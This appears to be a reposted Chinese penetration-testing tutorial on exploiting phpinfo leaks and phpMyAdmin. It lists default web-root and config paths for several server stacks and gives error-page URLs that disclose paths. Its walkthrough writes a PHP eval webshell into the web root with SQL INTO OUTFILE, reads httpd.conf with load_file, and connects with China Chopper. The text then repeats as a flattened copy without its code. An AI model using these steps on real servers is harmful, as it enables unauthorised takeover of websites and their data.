从phpinfo到phpmyadmin的综合渗透利用
字数 2378 2025-08-29 08:32:10

从phpinfo到phpmyadmin的综合渗透利用

1. 环境说明

本教程主要针对Apache中间件环境进行研究学习,其他中间件环境思路类似。

2. 基本思路

2.1 思路说明

寻找网站安装路径的核心是通过"配置页面"或"配置文件"找到DocumentRoot指向的网站路径位置。最常见的位置是phpinfo.php页面和httpd.conf配置文件中。

2.1.1 Phpinfo.php页面

phpinfo()函数信息泄露漏洞常出现在默认安装包(xampp/phpstudy/phpnow等)中,常见测试文件:

  • phpinfo.php
  • info.php
  • 1.php
  • test.php

常见探针页面:

  • l.php
  • p.php
  • tanzhen.php
  • tz.php
  • u.php

2.1.2 Httpd.conf配置文件

Apache主要配置文件:

  • 默认路径:/etc/httpd/conf/httpd.conf
  • 默认站点目录:/var/www/html

2.2 实践方向

  1. phpinfo配置页面查找
  2. 中间件配置文件读取(如httpd.conf)
  3. 页面报错(访问报错、SQL注入报错、文件包含报错)

3. phpinfo获取网站路径

3.1 套件收集

通过套件默认的配置页面或探针页面获取网站物理路径信息。

3.2 爬行遍历收集

使用AWVS的site crawler模块进行站点目录爬行。

3.3 爆破扫描收集

使用御剑等目录爆破工具猜解敏感文件。

4. 配置文件读取网站路径

4.1 Web套件默认路径与配置文件

4.1.1 Xampp套件

  • 网站默认路径:$disk:/xampp/htdocs
  • 其他可写入路径:D:/xampp/phpmyadmin/
  • Apache配置文件:
    • httpd.conf:$disk:/xampp/apache/conf/httpd.conf
    • vhosts.conf:$disk:/xampp/apache/conf/extra/httpd-vhosts.conf

4.1.2 LAMPP套件

  • 网站默认路径:/opt/lampp/htdocs
  • 配置文件:
    • /opt/lampp/etc/httpd.conf
    • /opt/lampp/etc/extra/httpd-vhosts.conf

4.1.3 phpstudy套件

  • 网站默认路径:$disk:/phpstudy/www
  • 配置文件:
    • $disk:/phpStudy/Apache/conf/httpd.conf
    • $disk:/phpStudy/Apache/conf/extra/httpd-vhosts.conf

4.1.4 phpnow套件

  • 网站默认路径:$disk:\phpnow-1.5.6\htdocs
  • 配置文件:
    • D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf
    • D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.comf

4.1.5 LNMP套件

  • 网站默认路径:/home/wwwroot/default

4.2 其他Web容器

4.2.1 IIS6.0+win2003

  • 网站默认路径:$disk:\InetPub\wwwroot
  • 配置文件:C:/Windows/system32/inetsrv/metabase.xml

4.2.2 IIS7.0+WINDOWS

  • 网站默认路径:$disk:\InetPub\wwwroot
  • 配置文件:C:\Windows\System32\inetsrv\config\applicationHost.config

4.3 load_file()函数读取配置文件

利用场景:

  1. 写入成功但目录不是网站根目录
  2. 目录没有写入权限
  3. 存在安全防护

利用条件:

  1. 找到可写的网站路径
  2. 可写路径为渗透站点的物理路径

使用方法:

select load_file('D:/xampp/apache/conf/httpd.conf');

5. 错误页面爆网站路径

5.1 Phpmyadmin暴路径

常见报错路径:

  • /phpmyadmin/libraries/lect_lang.lib.php
  • /phpMyAdmin/index.php?lang[]=1
  • /phpMyAdmin/phpinfo.php
  • /phpmyadmin/themes/darkblue_orange/layout.inc.php
  • /phpmyadmin/libraries/select_lang.lib.php
  • /phpmyadmin/libraries/mcrypt.lib.php

5.2 SQL注入点暴路径

  1. 单引号爆路径:www.xxx.com/news.php?id=149'
  2. 错误参数值爆路径:www.xxx.com/researcharchive.php?id=-1

5.3 nginx文件类型错误解析爆路径

访问:www.xyz.com/123.jpg/x.php

5.4 其他CMS爆路径收集

(详细路径列表见原文)

6. 渗透实战

6.1 渗透过程

  1. 确定目标web容器

    Select @@datadir;
    

    通过查询数据库路径判断使用xampp套件

  2. 尝试写入一句话

    select '<?php @eval($POST[123]);?>' INTO OUTFILE 'f:/xampp/htdocs/123.php';
    
  3. 测试解析
    访问123.php测试是否解析成功

  4. 读取Apache配置文件

    select load_file('f:/xampp/apache/conf/httpd.conf');
    

    获取真实路径"f:/web/xyzcom/"

  5. 再次写入一句话

    select '<?php @eval($POST[123]);?>' INTO OUTFILE 'f:/web/xyzcom/123.php';
    
  6. 上中国菜刀
    使用密码123连接

  7. 其他可写入路径
    通过phpmyadmin报错页面获取路径:
    /phpmyadmin/themes/darkblue_orange/layout.inc.php

7. 总结

本教程详细介绍了从phpinfo信息泄露到phpmyadmin的综合渗透利用方法,包括路径查找、配置文件读取、错误信息利用等技术点,为安全测试人员提供了全面的技术参考。

从phpinfo到phpmyadmin的综合渗透利用 1. 环境说明 本教程主要针对Apache中间件环境进行研究学习,其他中间件环境思路类似。 2. 基本思路 2.1 思路说明 寻找网站安装路径的核心是通过"配置页面"或"配置文件"找到DocumentRoot指向的网站路径位置。最常见的位置是phpinfo.php页面和httpd.conf配置文件中。 2.1.1 Phpinfo.php页面 phpinfo()函数信息泄露漏洞常出现在默认安装包(xampp/phpstudy/phpnow等)中,常见测试文件: phpinfo.php info.php 1.php test.php 常见探针页面: l.php p.php tanzhen.php tz.php u.php 2.1.2 Httpd.conf配置文件 Apache主要配置文件: 默认路径:/etc/httpd/conf/httpd.conf 默认站点目录:/var/www/html 2.2 实践方向 phpinfo配置页面查找 中间件配置文件读取(如httpd.conf) 页面报错(访问报错、SQL注入报错、文件包含报错) 3. phpinfo获取网站路径 3.1 套件收集 通过套件默认的配置页面或探针页面获取网站物理路径信息。 3.2 爬行遍历收集 使用AWVS的site crawler模块进行站点目录爬行。 3.3 爆破扫描收集 使用御剑等目录爆破工具猜解敏感文件。 4. 配置文件读取网站路径 4.1 Web套件默认路径与配置文件 4.1.1 Xampp套件 网站默认路径:$disk:/xampp/htdocs 其他可写入路径:D:/xampp/phpmyadmin/ Apache配置文件: httpd.conf:$disk:/xampp/apache/conf/httpd.conf vhosts.conf:$disk:/xampp/apache/conf/extra/httpd-vhosts.conf 4.1.2 LAMPP套件 网站默认路径:/opt/lampp/htdocs 配置文件: /opt/lampp/etc/httpd.conf /opt/lampp/etc/extra/httpd-vhosts.conf 4.1.3 phpstudy套件 网站默认路径:$disk:/phpstudy/www 配置文件: $disk:/phpStudy/Apache/conf/httpd.conf $disk:/phpStudy/Apache/conf/extra/httpd-vhosts.conf 4.1.4 phpnow套件 网站默认路径:$disk:\phpnow-1.5.6\htdocs 配置文件: D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.comf 4.1.5 LNMP套件 网站默认路径:/home/wwwroot/default 4.2 其他Web容器 4.2.1 IIS6.0+win2003 网站默认路径:$disk:\InetPub\wwwroot 配置文件:C:/Windows/system32/inetsrv/metabase.xml 4.2.2 IIS7.0+WINDOWS 网站默认路径:$disk:\InetPub\wwwroot 配置文件:C:\Windows\System32\inetsrv\config\applicationHost.config 4.3 load_ file()函数读取配置文件 利用场景: 写入成功但目录不是网站根目录 目录没有写入权限 存在安全防护 利用条件: 找到可写的网站路径 可写路径为渗透站点的物理路径 使用方法: 5. 错误页面爆网站路径 5.1 Phpmyadmin暴路径 常见报错路径: /phpmyadmin/libraries/lect_ lang.lib.php /phpMyAdmin/index.php?lang[ ]=1 /phpMyAdmin/phpinfo.php /phpmyadmin/themes/darkblue_ orange/layout.inc.php /phpmyadmin/libraries/select_ lang.lib.php /phpmyadmin/libraries/mcrypt.lib.php 5.2 SQL注入点暴路径 单引号爆路径: www.xxx.com/news.php?id=149' 错误参数值爆路径: www.xxx.com/researcharchive.php?id=-1 5.3 nginx文件类型错误解析爆路径 访问: www.xyz.com/123.jpg/x.php 5.4 其他CMS爆路径收集 (详细路径列表见原文) 6. 渗透实战 6.1 渗透过程 确定目标web容器 : 通过查询数据库路径判断使用xampp套件 尝试写入一句话 : 测试解析 : 访问123.php测试是否解析成功 读取Apache配置文件 : 获取真实路径"f:/web/xyzcom/" 再次写入一句话 : 上中国菜刀 : 使用密码123连接 其他可写入路径 : 通过phpmyadmin报错页面获取路径: /phpmyadmin/themes/darkblue_orange/layout.inc.php 7. 总结 本教程详细介绍了从phpinfo信息泄露到phpmyadmin的综合渗透利用方法,包括路径查找、配置文件读取、错误信息利用等技术点,为安全测试人员提供了全面的技术参考。